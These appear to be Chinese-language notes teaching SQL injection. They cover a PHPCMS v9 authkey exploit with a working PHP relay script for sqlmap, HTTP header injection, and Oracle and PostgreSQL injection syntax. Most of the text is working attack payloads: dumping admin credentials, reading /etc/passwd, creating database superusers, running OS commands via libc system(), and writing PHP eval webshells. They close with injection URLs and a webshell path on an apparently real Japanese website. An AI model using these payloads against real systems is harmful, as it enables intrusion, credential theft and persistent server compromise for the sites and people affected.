phpv9 authkey注入
环境搭建
将源码复制到PHPstudy的www路径下后
搭建好后,随便搭建一个网站首页
然后将利用exp附在网站根目录后面
phpsso_server/index.phpm=php?sso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V
需要注意的是,地址栏中的域名和报出来的信息中的域名要一致,否则无法利用漏洞,后面框出来的是爆出的key值
接下来就是一个中转注入,写好一个php页面,放在本地PHPstudy的www路径下,需要改的地方有两处,就是代码中有注释的两处。第一处改为网站域名,第二处改为爆出的key值,然后访问127.0.0.1/php.php?id=1
<?php set_time_limit(0); $wang_url = 'http://192.168.200:8017'; //请修改这里为phpcmsv9网站地址 $auth_key = 'vRRLAaRcoRRtaBTSUzGIdLIHvZwT5md6'; //这里为phpcmsv9 authkey $str = "uid=1" . stripslashes($_GET['id']); $encode = sys_auth($str, 'ENCODE', $auth_key); $content = file_get_contents($wang_url . "/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=" . $encode); echo $content; function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $key_length = 4; $key = md5($key); $fixedkey = hash('md5', $key); $egiskeys = md5(substr($fixedkey, 16, 16)); $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ''; $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16)); $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length)); $i = 0; $result = ''; $string_length = strlen($string); for ($i = 0; $i < $string_length; $i++) { $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32})); } if ($operation == 'ENCODE') { return $runtokey . str_replace('=', '', base64_encode($result)); } else { if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) { return substr($result, 26); } else { return ''; } } } ?>
然后用sqlmap跑这个页面,这个页面就是一个中转的作用,相当于一个中间人,将sqlmap的攻击命令转交给目标站点,实现注入攻击
HTTP头注入
常见的HTTP请求中存在注入的参数
User-agent Referer X-Forwarded-For(重点) Client-ip(重点) Host
X-Forwarded-For:记录客户端的登录或访问的ip
Client-ip:获取ip
检测方式:
Client-ip: 1.1.1.1'
参数在服务器端是用单引号来获取的,所以要用单引号来闭合,所以在检测的时候在参数后面加一个单引号来检测是否存在注入
通常一些对ip参数要求很高的网站,会记录ip的网站可能存在注入
登录的地方、留言的地方、发表文章的地方可能会存在注入
在这些地方输入内容提交的时候,用bp抓包过滤拦截,修改,保存为txt再用sqlmap跑包
也可以用火狐的插件Modify Headers,添加参数后打开,会自动往http头文件中添加对应的参数来检测(host参数最好不要乱加,会影响本地)
exp构造利用漏洞
INSERT INTO blue_comment(com_id,post_id,user_id,type,mood,content,pub_date,ip,is_check) VALUES (",'1','0','1','6','test','1480988752','111','1') a','xxx'),(",'1','1','2',(select concat(admin_name,0x3a,pwd,from biue_admin limit 0,1),'164545407','sss','1')#
用sqlmap,bp抓包,加参数,指定注入点位置,保存为txt
e.g client-ip: 1.1.1*
sqlmap.py -r c:1.txt
XML实体注入
xml,(作用:数据传输,数据传输)可扩展标记语言,标注通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
可扩展标记语言XML(eXtensible Markup Language)是一种简单灵活的文本格式的可扩展标记语言,起源于SGML(Standard Generalized Markup Language),是SGML的一个子集合,也就是SGML的一个简化版本,非常适合于在Web上或者其它多种数据源间进行数据的交换。(源自百度百科)
漏洞形成原因:
代码过滤不严格;用户可以控制。
漏洞示例:
任意文件读取示例;用户注册植入示例
$sql="SELECT * FROM user WHERE (id='$id')"; sqlmap.py -u "" --prefix "')' --suffix "('abc'='abc"
APP注入漏洞挖掘
利用bp抓取APP发送到服务器的链接数据包
burp fiddler
得到链接后进行测试
设置代理为手机上的代理
手机和bp在同一网段下
Oracle&&postgresql注入详解
大纲:oracle数据库注入原理 postgresql注入原理
oracle数据库注入
介绍:ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。比如
SilverStream就是基于数据库的一种中间件。ORACLE数据库是目前世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系数据库,
它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。但它的所有知识,只要在一种机型上学习了ORACLE知识,便能在各种类型的机器上使用它。
Oracle数据库最新版本为Oracle Database 12c。Oracle数据库12c 引入了一个新的多承租方架构,使用该架构可轻松部署和管理数据库云。此外,一些创新特性可最大限度地提高资源使用
率和灵活性,如Oracle Multitenant可快速整合多个数据库,而Automatic Data Optimization和Heat Map能以更高的密度压缩数据和对数据分层。这些独一无二的技术进步再加上在可用
性、安全性和大数据支持方面的主要增强,使得Oracle数据库12c 成为私有云和公有云部署的理想平台。
特点:
1、支持多用户、大事务量的处理
2、数据安全性和完整性的有效控制
3、支持分布式数据处理
4、移植性强
jsp+oracle 常见于:旅游网站、物流网站、企业网站、政府网站、学校网站
搜索方法:inurl:jsp?id=旅游
判断数据库
and 1=1 and 1=2 / '
判断oracle数据库
and exists(select * from dual)
and exists(select * from user_tables)
判断列数
order by 11 order by 12 union联合查询
判断数据库类型不匹配的列
http://www.xx.com/sqllnject/sqlTest.jsp?id=100 union select null,null,null,null,null,null from dual
再用数字填充一个一个的尝试,如果正常则表示就是数字类型的,否则就是字符类型的,在字符类型的的房就可以插入SQL查询语句进行查询
获取基本信息
获取数据库版本
(select banner from sys.v_$version where rownum=1)
获取操作系统版本
(select member from v$logfile where rownum=1)
获取连接数据库的当前用户
(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)
获取数据库
(select owner from alltables where rownum=1)
第二种注入方式
判断一下数据库的表,网址后面加上:
and(select count(*) from admin)<>0 回显正常,说明存在admin表;若回显错误,可将admin改为username等其他表名继续检测
判断一下该网站有几个管理员(若存在多个管理员可以增加入侵几率)
and(select count(*) from admin)=1 回显正常,说明只有有一个
指定表名跑列名
and(select count(name) from admin)>=0
用ASCII码这般法猜解账号、密码
判断用户名长度
and (select count(*) from admin where length(name)>=5)=1
and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1
substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取他的ascii码值,97-----a
用sqlmap时,步骤与其他一样
postgresql注入详解
介绍:(多见于国外)PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他
现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、聚集函数、索引。免费使用、修改、和分发 PostgreSQL,不管是私用、商用、还是
学术研究使用。
注入的常用语法
判断数据库
+and+1::int=1-- 其中+就是空格
e.g http://mysql.sql.com/sql.php?id=1+and+1::int=1--
判断数据库的版本信息
+and+1=cast(version() as int)--
判断当前用户
and 1=cast(user||123 as int)
判断有多少字段
order by 3
union select null,null,null
union select null,suer,null 判断当前用户
union select null,version(),null 判断版本信息
列字段内容
+union+select+null,name||pass,null+from+admin 查看postgresql数据库的账号、密码
+union+select+null,username||chr(124)||password,null+drom+pg_shadow
创建用户
;create+user+seven+with+superuser+password+'seven'--
修改postgresql用户密码为123456
;create+user+postgres+with+password+'123456'--
创建system函数
用于版本大于8的数据库
创建一个system的函数,用system函数执行系统命令
create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' ATRICT
创建一格输出表
create table stdout(id serial,system_out text)
执行shell,输出到输出表内
select system('uname -1 > /tmp/test')
copy输出的内容到表里面
COPY stdout(system_out) FROM '/tmp/test'
从输出表内读取执行后的回显,判断是否执行成功
union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1--
postgresql写shell
直接拿shell
http://www.xx.com/sql.php?id=1;create table shell(shell text not null);
http://www.xx.com/sql.php?id=1;insert into shell values($$<?php@eval($_POST[crscer]);?>$$');
http://www.xx.com/sql.php?id=1;copy shell(shell) to '/var/www/html/shell.php';
另一种方法
;copy (select '$$<?php@eval($_POST[cracer]);?>$$') to 'c:/inetup/wwwroot/mysql-sql/dd.php'
读取文件前20行(文件读取)
pg_read_file('/etc/passwd',1,20)
数据库备份还原
备份数据库
pg_dump -O -h 168.192.0.5 -U postgres mdb >c:mdb.sql"
pg_dump -O -h 192.168.0.5 -U dbowner -w -105432 ss>ss.sql 远程备份数据库到本地来
还原数据库
psql -h localhost -U postgres -d mdb
日本站点测试(网站已挂了)
http://www.kasugal-tochi.jp/kensaku/data.php?id=307%20and%201=cast(version()%20as%20int)
http://www.kasugal-tochi.jp/kensaku/data.php?id=307%20and%201=cast(user||123%20as%20int)
创建表
;create table ccc(w text not null()); 创建表ccc w列
插入一句话木马
;insert into ccc values($$<?php@eval($_POST[cracer]);?>$$); 向ccc表中插入一句话
导出一句话
;copy ccc(w) to $$/host/kasugai_tochi/public_html/script/cracer.php$$; 讲一句话保存为cracer.php文件
菜刀连接
http://www.kasugau-tochi.jp/script/cracer.php
2019-05-06 12:31:11